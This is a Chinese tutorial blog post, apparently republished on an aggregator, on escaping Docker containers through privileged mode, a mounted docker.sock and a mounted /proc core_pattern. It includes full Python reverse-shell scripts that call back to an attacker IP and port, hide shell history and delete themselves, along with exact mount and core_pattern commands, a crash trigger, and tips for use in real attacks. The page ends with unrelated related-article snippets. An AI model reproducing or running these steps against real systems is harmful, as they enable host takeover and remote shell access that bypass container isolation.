云上攻防—Docker安全容器逃逸特權模式危險掛載

前言

之前分享的是云服務安全,今天開始云原生安全,安全道路依舊很長。

什么是Docker呢,它是開源的容器化平臺,用于開發、部署和運行應用程序。它通過將應用程序及其依賴項打包在輕量級的容器中,實現環境一致性、快速部署和資源高效利用這玩意類似虛擬機,是一個虛擬化技術。我們在VM中使用的虛擬機其實基于物理硬件開辟的,而容器是基于我們操作系統內核來開辟的。這樣就表面了容器要比虛擬機更加輕量,對CPU和內存等條件要求更低。

就好比如我自己的電腦開4臺以上虛擬機就卡死了,容器隨便開都行,而且容器無論是部署還是操作都很方便,我們本地按照mysql啥的,又要配置東西,又要按照環境,而容器只需拉取鏡像就行。

Docker安全

來到官網我們可以看到有非常多的容器鏡像,有一些是官方發布的,也有一些是用戶自己打包上傳的。這就引出了一個安全問題,有一些人會在容器里面留下后門,當時運行的容器的時候,后門也會被運行,這是早期容器剛出來的現象。假如我們好不容易拿到的shell,卻發現是在容器里面,那該咋辦,今天講兩種方法實現容器逃逸。

特權模式

當我們運行一個容器時,如果它權限過大的話,那么就可以進行逃逸,我們以特權模式啟動 alpine 容器。

docker run --rm --privileged=true -it alpine

這里要順便說一下,如何判斷自己是否在容器中,常用的有三種。

查詢cgroup信息,不知為啥我這里啥也沒有。

cat /proc/1/cgroup

檢查/.dockerenv文件,通過判斷根目錄下的 .dockerenv文件是否存在,可以簡單的識別docker環境。

ls -alh /.dockerenv 

還有一個是檢查mount信息,利用mount查看掛載磁盤是否存在docker相關信息。

mount

更多判斷方法可以看這篇文章。

如何快速判斷是否在容器環境_如何確定是不是處于docker容器-CSDN博客

首先檢查是否為特權模式運行的容器,如果是特權模式啟動的話,CapEff 對應的掩碼值應該為0000003ffffffff或者0000001fffffffff。

cat /proc/self/status | grep CapEff

先創建一個目錄。

mkdir /test

?執行下面的命令?將存儲設備?/dev/sda1?上的文件系統掛載到目錄?/test?上,也就是說我可以通過查看test文件夾來實現對真實系統目錄的訪問。

mount /dev/sda1 /test

然后我們進入到test目錄進行查看,發現里面內容和真實系統一樣,成功實現docker逃逸。

后面再往真實的系統文件寫入一個反彈shell的計時任務即可拿到shell。

危險掛載

掛載Socket

Docker Socket 用來與守護進程通信即查詢信息或者下發命令,類似于網站的功能插件,如果在啟動容器的時候掛載了這個功能,那么也會有容器逃逸的安全問題。原理就是,?利用容器內對宿主機的 Docker 引擎的直接控制權,創建或操作具備訪問宿主機資源能力的新容器/進程,從而突破當前容器的隔離限制。?

運行容器 ubuntu 并且掛載socket,如果你沒有拉去的話,會自動幫你拉去鏡像。

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

接著進入到容器中去。

docker exec -it with_docker_sock /bin/bash

檢查是否掛載了Socket。

ls -lah /var/run/docker.sock

這里我們可以試試檢查特權模式,很明顯不對。

容器里面執行命令,更新apt-get 和安裝 curl命令。

apt-get update
apt-get install curl

接著在容器里面再安裝 docker。

curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun

在容器內部創建一個新的容器,并將宿主機目錄掛載到新的容器內部,類似套娃,可以看到多了一個host目錄。

docker run -it -v /:/host ubuntu /bin/bash

查看host目錄下的home目錄內容,發現和宿主機的一樣,說明成功逃逸。

掛載procfs

procfs是一個偽文件系統,它動態反映著系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。核心原理是:?當容器內掛載了宿主機的 proc 文件系統(/proc)時,攻擊者可以通過寫入 /proc/sys/kernel/core_pattern 等敏感路徑,觸發宿主機執行任意命令。

創建一個容器并掛載 /proc 目錄。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

進行檢查一下,如果找到兩個 core_pattern 文件,那可能就是掛載了宿主機的 procfs。

find / -name core_pattern

找到當前容器在宿主機下的絕對路徑,這里我的絕對路徑是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然會出錯。

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

這里要在容器里面安裝一下 vim 和 gcc,因為后續要創建腳本和編譯腳本,實戰中我推薦本地編譯好了上傳上去,不然在實際生產環境中安裝東西不太現實。

apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

接著創建一個反彈shell的腳本。

vim /tmp/.t.py#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()

實戰中建議用cat命令寫入,因為vim需要有回顯的shell才行。

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反彈IP
lport = xxxx //反彈端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

給腳本賦予權限。

寫入反彈 shell 到目標的 proc 目錄下。

echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

主機上進行監聽。

然后在容器里創建一個可以崩潰的程序。

vim t.c
#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

進行編譯,你也可以編譯好再上傳。

gcc t.c -o t

最后運行程序即可反彈shell,遺憾的是我這里并沒有成功,檢查了端口也是沒問題的,不知道為啥,有懂的師傅可以和我說一下。

總結

以上就是這次的容器逃逸手法啦。

最后,以上僅為個人的拙見,如何有不對的地方,歡迎各位師傅指正與補充,有興趣的師傅可以一起交流學習。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/912439.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/912439.shtml
英文地址,請注明出處:http://en.pswp.cn/news/912439.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025API 開發工具Apipost 與 Apifox深度對比

在當今數字化時代&#xff0c;API 開發是構建各類軟件應用的關鍵環節。Apipost 和 Apifox 作為兩款知名的 API 開發工具&#xff0c;它們在實際開發場景中表現究竟如何呢&#xff1f;接下來&#xff0c;讓我們從多個功能點進行深入對比。 一、API 設計功能 接口定義與參數設置…

從零開始搭建Windows AI開發環境:QWQ-32B部署+Cursor插件優化實戰

文章目錄 前言1.安裝Ollama2.QwQ-32B模型安裝與運行3.Cursor安裝與配置4. 簡單使用測試5. 調用本地大模型6. 安裝內網穿透7. 配置固定公網地址總結 前言 本方案提出了一種基于Windows系統的智能化開發平臺搭建策略&#xff0c;通過融合Cursor智能編程平臺、Ollama模型運行框架…

PostgreSQL 中,若需顯示 不在 `IN` 子句列表中的數據

在 PostgreSQL 中&#xff0c;若需顯示 不在 IN 子句列表中的數據&#xff0c;可以通過以下方法實現&#xff1a; 方法 1&#xff1a;使用 NOT IN&#xff08;注意 NULL 值&#xff09; 直接篩選不包含在 IN 列表中的記錄&#xff1a; SELECT * FROM your_table WHERE your_c…

嘉訊科技:醫療信息化、數字化、智能化三者之間的關系和區別

隨著技術的不斷發展&#xff0c;醫療行業也在發生著巨大的變化。在這個過程中&#xff0c;醫療信息化、數字化、智能化成為三個重要方向。這些變化不僅帶來了醫療技術的進步&#xff0c;而且大大提高了醫療服務的質量和效率。 一、醫療信息化 醫療信息化是指醫療行業應用信息技…

Windows VMWare Centos Docker部署Springboot應用

接上篇文章&#xff1a;Windows VMWare Centos環境下安裝Docker并配置MySql-CSDN博客文章瀏覽閱讀370次&#xff0c;點贊3次&#xff0c;收藏4次。Windows VMWare Centos環境下安裝Docker并配置MySqlhttps://blog.csdn.net/u013224722/article/details/148928081 一、新建Sprin…

JavaEE-Spring事務和事務的傳播機制

事務 什么是事務 事務是?組操作的集合, 是?個不可分割的操作. 事務會把所有的操作作為?個整體, ?起向數據庫提交或者是撤銷操作請求. 所以這組操作要么同時成功, 要么同時失敗. 為什么需要事務? 事務的操作 Spring 中事務的實現 創建好數據庫后就是配置數據庫相關的配…

共享經濟視域下社群經濟的本質重構:基于開源AI智能名片鏈動2+1模式S2B2C商城小程序源碼的實證研究

摘要&#xff1a;社群經濟在互聯網時代呈現爆發式增長&#xff0c;但傳統社群運營存在情感維系成本高、商業轉化路徑長、技術賦能不足等痛點。本文以共享經濟理論為框架&#xff0c;結合開源AI智能名片鏈動21模式S2B2C商城小程序源碼的技術實踐&#xff0c;提出“思想-資源-機會…

測試方法的分類

靜態測試 核心分類依據&#xff1a;根據是否執行程序分為靜態測試和動態測試 靜態測試方法 執行特征&#xff1a;不運行被測程序&#xff0c;通過人工檢查或工具分析進行測試 測試對象&#xff1a;主要針對文檔&#xff08;包括需求文檔、設計文檔等&#xff09;和源代碼 實…

查看CPU支持的指令集和特性

1&#xff09;gcc -c -Q -marchnative --helptarget 2&#xff09;結果 The following options are target specific: -m128bit-long-double [enabled] -m16 [disabled] -m32 [disabled…

【大模型應用開發】Unity結合大模型實現智能問答功能

零、最終效果 Unity結合大模型實現智能問答功能 一、文本自動換行效果 新建一個Text文本&#xff0c;設置文本的最大寬度 然后添加Content Size Fitter組件&#xff0c;Vertical Fit選擇Preferred Size 二、背景隨文本長度變化效果 新建一個Image作為文本的背景&#xff0…

Python爬蟲-爬取汽車之家全部汽車品牌及車型數據

前言 本文是該專欄的第64篇,后面會持續分享python爬蟲干貨知識,記得關注。 本文,筆者將基于汽車之家平臺,通過Python獲取全部的“汽車品牌以及車型”數據。 廢話不多說,具體實現思路和詳細邏輯,筆者將在正文結合完整代碼進行詳細介紹。接下來,跟著筆者直接往下看正文詳…

簽名組件:uniapp 簽名組件開發,兼容小程序、H5、App等 電子簽名

描述 H5&#xff1a;1. 模擬橫屏。2. 提示信息、模擬態也通過模擬橫屏顯示 小程序&#xff1a;1. 自動橫屏展示 APP&#xff1a;1. 自動橫屏展示 rn-signature 個性簽名組件 組件名 rn-signature 簽名組件兼容H5、APP、小程序。橫屏簽名效果。 效果展示 h5端 小程序端 APP 端…

第10.4篇 使用預訓練的目標檢測網絡

在PyTorch提供的已經訓練好的圖像目標檢測中&#xff0c;均是R-CNN系列 的網絡&#xff0c;并且針對目標檢測和人體關鍵點檢測分別提供了容易調用的方 法。針對目標檢測的網絡&#xff0c;輸入圖像均要求使用相同的預處理方式&#xff0c;即先將每張圖像的像素值預處理到0~1之…

基于開源鏈動2+1模式AI智能名片S2B2C商城小程序源碼的運營機制沉淀與規范構建研究

摘要&#xff1a;在數字化商業生態中&#xff0c;運營機制的沉淀與規范構建是企業實現可持續增長的核心命題。本文以開源鏈動21模式、AI智能名片、S2B2C商城小程序源碼為技術基座&#xff0c;提出“機制設計-數據沉淀-規范生成-迭代優化”的四階閉環模型。通過某健康食品品牌的…

js代碼05

題目 好的&#xff0c;我們進入異步編程的“終極形態”&#xff1a;async/await。 async/await 是在 ES2017 (ES8) 中引入的&#xff0c;它并不是一個全新的功能&#xff0c;而是建立在 Promise 之上的語法糖 (Syntactic Sugar)。它的目標是讓我們能夠以一種看似同步、更符合…

PyTorch里.pt和.pth的區別

在PyTorch中&#xff0c;.pt和.pth文件均用于保存模型&#xff0c;但兩者在設計初衷、存儲內容和使用場景上存在差異。以下是詳細對比&#xff1a; 1. 核心區別 特性.pt文件.pth文件存儲內容完整模型&#xff08;結構參數優化器狀態等&#xff09;僅模型參數&#xff08;state…

windows電腦如何安裝iis作為部署服務器并

1.控制面板-程序-啟用或關閉windows功能-勾選iis(縮寫) 2.安裝好iis后在開始中搜索iis就可以看見安裝好了的管理器了

解鎖ChatGPT高級玩法:模塊化提示詞庫開發指南

目錄 &#x1f50d; 一、引言&#xff1a;為什么需要模塊化提示詞庫&#xff1f;&#x1f9f1; 二、模塊化提示詞庫設計原理2.1 核心架構2.2 模塊功能說明 ?? 三、模塊化提示詞庫開發實踐&#xff08;附Python源碼&#xff09;3.1 環境配置3.2 模塊化提示詞生成器3.3 提示詞組…

Spring Boot 實現不同用戶不同訪問權限

前提 近期在使用 Spring Boot&#xff0c;用戶角色被分為管理者和普通用戶&#xff1b;角色不同&#xff0c;權限也就存在不同。 在 Spring Boot 里實現不同用戶擁有不同訪問權限&#xff0c;可借助 Spring Security 框架達成。 實現 1. 添加必要依賴 首先要在 pom.xml 里…

華沿協作機器人:數字孿生技術賦能焊接領域智能化升級

在工業4.0與智能制造浪潮的推動下&#xff0c;焊接行業正經歷從傳統工藝向數字化、柔性化轉型的關鍵階段。作為國內協作機器人領域的創新者&#xff0c;華沿機器人通過融合數字孿生、智能感知與多軸協同技術&#xff0c;在焊接場景中實現了技術突破與應用創新。本文將從技術原理…